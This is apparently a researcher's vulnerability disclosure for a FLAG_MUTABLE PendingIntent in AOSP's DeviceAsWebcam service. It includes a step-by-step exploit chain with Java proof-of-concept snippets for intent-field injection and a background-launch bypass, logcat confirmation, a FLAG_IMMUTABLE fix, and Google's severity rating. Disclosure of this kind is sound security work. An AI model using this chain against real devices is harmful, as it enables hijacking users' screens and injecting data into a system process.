I reported a vulnerability in AOSP’s DeviceAsWebcam service where a FLAG_MUTABLE PendingIntent is used as the foreground notification’s contentIntent. An attacker app with user-granted NotificationListenerService access can extract the PendingIntent, inject arbitrary intent fields via fillIn(), and force-launch the system-UID DeviceAsWebcamPreview activity in the foreground — overlapping whatever the user was doing. The report was submitted on March 19, 2026.
The Vulnerable Code
The vulnerability is in DeviceAsWebcamFgService.java (line 134). The preview activity intent is created with only the component set — no action, no data, no extras, no flags, no categories:
// DeviceAsWebcamFgServiceImpl.kt:39-41
override fun getPreviewActivityIntent(context: Context): Intent {
return Intent(context, DeviceAsWebcamPreview::class.java)
}
That intent is then wrapped in a FLAG_MUTABLE PendingIntent for the foreground-service notification:
// DeviceAsWebcamFgService.java:131-134
Intent notificationIntent = getPreviewActivityIntent(mContext);
PendingIntent pendingIntent = PendingIntent.getActivity(
mContext, 0, notificationIntent, PendingIntent.FLAG_MUTABLE);
DeviceAsWebcam runs as android.uid.system (UID 1000). The PendingIntent ends up as contentIntent on a VISIBILITY_PUBLIC foreground-service notification with no FLAG_IMMUTABLE and no FLAG_ONE_SHOT.
Why This Is Exploitable: How fillIn() Works
When you call PendingIntent.send(context, code, fillInIntent), the system merges the fillInIntent into the original intent using Intent.fillIn(). The merge rules are simple: a field in the fill-in intent can override the corresponding field in the original intent only if the original field is null/empty.
Since getPreviewActivityIntent() sets only the component and leaves everything else empty, an attacker can inject:
| Field | Injectable? | Why |
|---|---|---|
| Action | Yes | Original is null |
| Data URI | Yes | Original is null |
| Categories | Yes | Original is empty |
| Extras | Yes | Original is empty |
| Flags | Yes | Original is 0 |
| ClipData | Yes | Original is null |
| Component | No | Already set (requires FILL_IN_COMPONENT flag) |
If FLAG_IMMUTABLE were used instead, the system would completely ignore the fill-in intent — PendingIntent.java:259-267 skips the fillIn() call entirely when FLAG_IMMUTABLE is set.
The PendingIntent Survives Notification Redaction
Android 12+ redacts notification content for apps that read notifications on the lockscreen. But PendingIntents are explicitly excluded from this. In Notification.cloneInto() (line 3035), the comment reads:
“PendingIntents are global, so there’s no reason (or way) to clone them.”
This means any app with NotificationListenerService access always gets the full PendingIntent object, regardless of notification visibility settings.
The Exploit Chain
A malicious app with user-granted NLS access can:
Step 1 — Extract the PendingIntent. When DeviceAsWebcam starts its foreground service (USB webcam mode), the NLS callback delivers the StatusBarNotification. The attacker extracts sbn.getNotification().contentIntent — the mutable PendingIntent created by UID 1000.
Step 2 — Build the fill-in intent. The attacker constructs an intent with arbitrary fields:
Intent fillIn = new Intent("com.attacker.HIJACKED_ACTION");
fillIn.setData(Uri.parse("https://attacker.example.com/phishing"));
fillIn.addCategory("com.attacker.INJECTED_CATEGORY");
fillIn.putExtra("attacker_controlled_key", "malicious_value");
fillIn.putExtra("attacker_session_id", 1337);
fillIn.putExtra("attacker_is_admin", true);
Step 3 — Bypass Background Activity Launch (BAL) restrictions. Apps targeting SDK 34+ are blocked from launching activities from PendingIntent sends by default — they only get ALLOW_FGS, which is insufficient. The attacker uses the public API:
ActivityOptions opts = ActivityOptions.makeBasic();
opts.setPendingIntentBackgroundActivityStartMode(
ActivityOptions.MODE_BACKGROUND_ACTIVITY_START_ALLOWED);
This upgrades the sender from ALLOW_FGS to ALLOW_BAL. Combined with the attacker’s app having a visible activity on screen, the system grants BAL_ALLOW_VISIBLE_WINDOW.
Step 4 — Send. The attacker calls PendingIntent.send(ctx, 0, fillIn, null, null, null, opts.toBundle()). The system-UID camera preview activity appears on screen within 60ms, overlapping the user’s current task. The user did not tap the notification, did not open DeviceAsWebcam, and had no interaction.
Step 5 — Replay. No FLAG_ONE_SHOT means subsequent sends succeed. The second send was confirmed via BAL_ALLOW_GRACE_PERIOD, displayed in +128ms.
Confirmed on Real Hardware
Tested on google/husky_beta/husky:CinnamonBun/CP21.260206.011/14911669:user/release-keys (Android 14+, Pixel device).
Logcat output confirming the full injection:
START u0 {act=com.attacker.HIJACKED_ACTION
cat=[com.attacker.INJECTED_CATEGORY]
dat=https://attacker.example.com/...
cmp=com.android.DeviceAsWebcam/com.android.deviceaswebcam.DeviceAsWebcamPreview
(has extras)}
from uid 1000 (com.android.DeviceAsWebcam)
(realCallingUid=10314)
(BAL_ALLOW_VISIBLE_WINDOW [realCaller])
result code=0
Displayed com.android.DeviceAsWebcam/...DeviceAsWebcamPreview: +60ms
Second send:
Displayed com.android.DeviceAsWebcam/...DeviceAsWebcamPreview: +128ms
(BAL_ALLOW_GRACE_PERIOD)
Impact
Foreground activity hijack. The system-UID camera preview is force-launched over the user’s current activity using only public APIs. No root, no reflection, no hidden APIs.
Intent field injection into a system-UID process. Attacker-controlled action, data URI, extras, flags, and categories arrive at DeviceAsWebcamPreview running as UID 1000. Currently the activity does not consume all of these fields, but the injection surface is durable — any future code that reads getIntent().getData() or extras in this activity would be immediately exploitable by the same chain.
Realistic attack surface. The attack requires NotificationListenerService access, which is user-granted. But thousands of Play Store apps already have it: smartwatch companions (Fitbit, Galaxy Wearable, Wear OS), notification managers, auto-reply bots, accessibility tools, and automation apps (Tasker). A malicious update to any of these could exploit this silently without re-prompting the user for permissions.
Permission mismatch. The user grants NLS for notification reading. The exploit uses an extracted PendingIntent to launch a system-UID activity with injected intent fields — an action far beyond what the permission is understood to authorize.
Scope Limitation
The foreground hijack requires the attacker’s app to have a visible, non-pinned activity at the time of send(). Background sends — from a foreground service or PIP mode — are blocked by Android 14+’s BAL hardening (realCallingUidHasVisibleNotPinnedActivity: false → BAL_BLOCK). This prevents continuous background DoS but does not prevent the foreground hijack when the attacker’s app is on screen.
Video Demo
Suggested Fix
Replace FLAG_MUTABLE with FLAG_IMMUTABLE at line 134. FLAG_IMMUTABLE causes the system to completely ignore the fill-in intent parameter to send(), eliminating the entire injection surface. The notification tap does not require mutability.
// BEFORE (vulnerable):
PendingIntent.getActivity(mContext, 0, notificationIntent, PendingIntent.FLAG_MUTABLE);
// AFTER (safe):
PendingIntent.getActivity(mContext, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);
Defense-in-depth: add FLAG_ONE_SHOT if replay is unnecessary.
Android Security Team Response
Android Security rated this report NSBC (Not Security Bulletin Class) under their published severity guidance, while noting the issue may still be shared with the feature team for potential remediation.
Tested on: google/husky_beta/husky:CinnamonBun/CP21.260206.011/14911669:user/release-keys